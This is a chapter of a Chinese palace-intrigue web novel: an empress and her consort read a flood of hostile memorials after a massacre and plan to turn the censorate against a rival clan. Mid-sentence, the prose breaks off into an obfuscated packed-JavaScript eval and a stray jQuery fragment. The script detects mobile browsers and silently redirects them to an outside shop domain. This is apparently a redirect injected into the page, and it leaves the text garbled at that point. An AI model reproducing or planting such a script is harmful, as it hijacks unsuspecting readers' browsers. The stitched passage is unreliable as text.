下雪了,自从殿试之后,这是今年的第二场雪,前所未有的大雪。
三省奏章如刚刚飘落的雪片子,自天幕落下,遮天蔽日,一片片飘到九华殿里,堆积如山。
如果不是雪实在太大,怕是那登闻鼓都要敲烂了。
季清淮一夜未眠,眼前还在闪回她满身是血的样子,她推开自己想要搀扶的手,边走边撕开缠束自己的裙子,青丝长堕,那支桃花宝石钗落到地上,她停了停还是捡了起来放在怀里。
从始至终她一言不发,自己洗干净了身体,洗了好久好久,还好是毫发无损,他站在池边,看着她刻意背对着自己,连水波都不愿意惊动。
他不忍心逼问她责怪她了,有时他自己都觉得自己是不是太过溺爱?池子里水渐渐变得暗红,她静静跪坐在血池中心,仰头艰难地呼吸。
季清淮再也按耐不住,连夜派自己的心腹出宫去问询,又把行刑了一半的明子初从宫内狱捞出来。
刑部联合府尉司捉拿突厥细作?选的地方也巧,选的目标也巧,到目前为止,只下狱了一个府尉司司丞,还罚了一个护卫不力的明子初,其他机构皮毛无伤,季清淮的额角跳了跳,一股前所未有的紧绷感。
此刻他看着手里季舒阳亲自写的言辞锋利的谏书,面前还有一本一本高高捋起,言尽孟晞昭罔顾朝政,声色犬马,不恪尽一个君主的本分,甚至那她和历史上的昏君相提并论。再者就是此刻浑水摸鱼弹劾内阁,言内阁日夜在孟晞昭面前,没有尽到劝谏教导的职责,力求撤掉内阁,权归三省。
后面这些已经没有看下去的必要了,三省六部,甚至一些边缘机构,上上下下长着一条舌头。
只有门下侍中杜亓山的奏章就写了几句话:“臣杜亓山跪请陛下圣安,时序入冬,寒气渐深,伏惟陛下珍重玉体,早晚添衣,慎避风冷。圣躬康健,则天下幸甚。臣不胜惓惓之至,谨具折请安,伏祈圣鉴。”
季清淮叹了口气,眼角有些湿润,但是他很快又恢复了敏感,众人都在谏都在上书,偏偏他要做这个清流,是想让谁高看一眼还是另有什么目的?
雪沉重地簌簌落下,日头越来越昏暗,这场雪最好一直下下去,等这雪一停,真正的风暴就来了。九华殿书房里无论他还是内阁大学士,或者是侍立的内官,所有人都浑浑噩噩绷着一根弦。
所有的事件和线索都指向唯一的答案,听明子初的口述季清淮就已经脊背发凉,昨天晚上那个小小的楼里在大开杀戒,为了追捕一个细作,却宰杀了无数年轻女子,季清淮手里的奏章落到他的膝上,他的手在发抖。
是母亲或者姨母?还是她们一起的决定?
他下意识摇头,妄图驱赶这些恐怖。书房外落月挑起风帘进来,一股子冷风夹着雪花瞬间涌入,让他一个寒噤从胡思乱想里抽身出来,抬眼看到落月的托盘里整齐堆积着新的奏章。
“启禀君上,这是御史台刚刚上书的奏章,承德殿遣人送来,奴婢先放这里。”落月实在找不到新的桌面安放,毕竟也不能放地上。
说起御史台,算个清流地方,还没有被拔掉舌头,但是出了这么大的事情,想来里面的内容都一样,都在逼她就范,他立刻站起身,像他这样脾性的人都有些失态了。
明子初背上受了刑还如同正常人一般行走,孟晞昭走在她身后,身着淡蓝色绣菊花的毛边大袖,披散着头发,眼下一圈红黑痕迹。
“给我看看。”她第一句话是对落月说的。
孟晞昭看着落月捧在胸前的一摞,这是御史台的众臣上书的,她深吸了几口气,一本一本拿过来看了。
这次不仅是只骂她了,也在弹劾季清淮,说他纵容孟晞昭贪恋玩乐,不知劝阻,有失为后的职责,更甚者说季清淮借帝后的身份常常自由出入九华殿干涉朝政。
孟晞昭深吸一口气,感到手麻不适,把奏章扔在地上,她懒得一本本看下去了,直接抽出最下面那一本,成堆的奏章如山崩倾落。
“昭昭别看了。”季清淮顾不得人多,也这样唤她。
“为什么不看,有趣的很呀。”
这一本谏的有意思,说自己日日夜夜只召见帝后一人,苛待后宫,必然使后宫人心不平,还引经据典暗喻为亡国之兆,自己上朝迟到不专心也是攻击的地方,极言自己消极怠政,不顾朝堂,声色犬马,又言帝后以色惑君,最后更是上书废后,笔锋狠厉,言辞激烈,像是对孟晞昭和季清淮不满已久,今日终于找到一个发泄口了。
“你们也品读品读。”孟晞昭看完最后一本,面庞滚烫,只感到深深的冒犯和折辱,顺手把长长的奏章掷到大学士门的书案上。
在邺朝,祖制本就规定了御史台可以上谏圣人,只是在孟暠那一代,他们确实不敢而已。如今新帝登基不过数月,他们定要一个个抢着做铮臣。
众臣看着孟晞昭头上一根根青筋暴起,捏紧的拳头上骨节突出,那双眼睛微微半闭但就算这样也感觉要喷出火来。
落月吓得屏住了呼吸,她伺候孟晞昭这些年,一直觉得孟晞昭性情好,从来没看她生过这么大的气,她小心翼翼地过去抚了抚孟晞昭的后背,然后轻声道:“陛下,您别生气,注意身体啊。”
“滚开!”孟晞昭一把推开了落月,落月受不了这么大的力量,跌坐在地上,孟晞昭推开她后就往案下走。
“熔儿,别这样!”季清淮走下来,拦住她的去路,就算到了现在,她的目光也没有和自己对视过。
晞昭凄惨地冷笑了一声,“明子初,去,去御史台把这些疯子都叫到光越殿,取我的剑来,我一个一个杀。”
“微臣动手就好。”明子初回答。
“陛下三思啊。”学士们纷纷起身跪在门口阻拦。
“明子初你下去!”季清淮抓着她的手臂稳住她的情绪,有时真的觉得,晞昭的疯劲多半都是明子初勾出来的。
她偏过头,扫了一眼跪了满地的学士,跌坐在地瑟瑟发抖的落月,还有地上散落的奏章。御史台骂骂她也就算了,骂季清淮以色惑君?骂他纵容自己贪恋玩乐?归根到底,清淮做错了什么?她的胸口透出闷闷的疼,疼到她眼眶发酸,一种难以遏制的委屈在蔓延。
“没事,没事的。”她耸了耸鼻头忍住了酸涩,仍旧推开他的肢体接触,她不再硬要往外面走,太多情绪扯地她无法动弹,孟晞昭很清楚这背后是谁在推动,这些漫天的唾骂,仿佛她们胜利之后的叫嚣。
只是把我弄的半死不活还不够,还远远不够呢。她不过是出宫透了一口气,就有三百人围上来要把她剁成肉泥。昨晚上的事情若不是故意传遍朝野,怎么可能有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634069|206501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如此燎原之势。
她又随意拾起桌子上几百份奏章中的一本,打开来看名字,不过一个六品户部小官,晞昭把纸张揉碎在手里,连这些小鱼小虾都敢递谏书上来,原来是逼着战队的投名状啊?
“陛下,御史台风闻言事,乃祖制所定,今日陛下若因谏言而诛台官,明日天下士人皆将视陛下为……事已至此,陛下要杀人或革职都容易,可是事情总要解决,如今您才登基几个月就激发全臣的锋利,臣以为首先应当安抚众臣,陛下,您先做一个,姿态出来为上策啊。”竹生铭跪在对孟晞昭面前,他面对这圣怒依然面不改色。
“起来!”孟晞昭对他们摆摆手。
“昭昭,今天肯定要廷议的,我去,你好好休息。”季清淮关心则乱,明知道是在给他们递刀把,可实在不忍心看她再操心下去。
姿态?还要做什么姿态?晞昭咬着牙,全身的血往头上涌,有一种被逼着弃城投降的屈辱,可是她们忘了,她孟晞昭什么仗都打过,什么困局都遇到过,就是死战不退!
“清淮,我们这样…”她的眼睛终于看向自己了,布满血丝的眼睛里水光澎湃,“以其人之道还其人之身好了。”
季清淮几乎没有犹豫地点头,“其实我也有此意,之前我在观政到御史台时,有见过几个真正的铮臣,不满,不满二相许久,只是当时先帝在,御史台冷落功能失活,目前情况,也许可用。”
两人想到一处了,季氏在权势滔天,总有她们侵蚀不到的角落,比如她刚刚看到的御史台的奏章和别部的奏章就有不同,其他机构就只骂自己而已,御史台那些硬骨头不仅骂自己也骂季清淮,晞昭忽然在这坚不可摧中找到一个关窍。
“都起来!”晞昭一把把还跪在地上的落月拽起来,接着往书案上走,她静下心来,慢慢翻看三省各部,和御史台发来的奏章,进一步印证这个规律。
再次咬着牙把这些气死人的话看一遍,她可以确定了,御史台同样大逆不道,但是他们是一视同仁的。
终于,她在如海的文书里找到一本唯一与众不同的,弹劾季容霜和季舒阳——专权跋扈。写这本奏章的人是御史中丞,范玦。
如同找到一把锋利的剑,比挂在寝殿里那把玄铁打造的剑还锋利十倍!御史台是疯子,她说对了,是发起疯来谁都咬一口的疯子。
“你说的,我还要做些什么?服软还是…”晞昭的心气恢复了些许,她挑眉看向竹生铭。
上一次直视她,她的眼睛里只有疲惫和无所谓态度的茫然,可是现在她依旧是疲惫的,还有破釜沉舟前的忍耐,“陛下,不是您,是君上。”
他是季家的儿子,只要他先一步认错,揽错,季家“投鼠忌器”,总不敢把事情闹得太不能收拾。
竹生铭没有再说下去,他低了低头,心照不宣。
季清淮点点头,全然明白他的意思,一点点苦肉计,用她们还尚存的恻隐之心,他攥着拳头,虽不想这样退到她身后,但是也没有更好的办法。
晞昭抬眼看着他,才发现她一夜未眠的憔悴,眉心始终沟壑纵深,如果,他不是季氏的人,就好了。这世间太过残忍,事情为什么会一步步变成今天这样?
“陛下!外面百官请求廷议。”明千辰掀开风帘站在门口,此时风雪已停,天光大亮。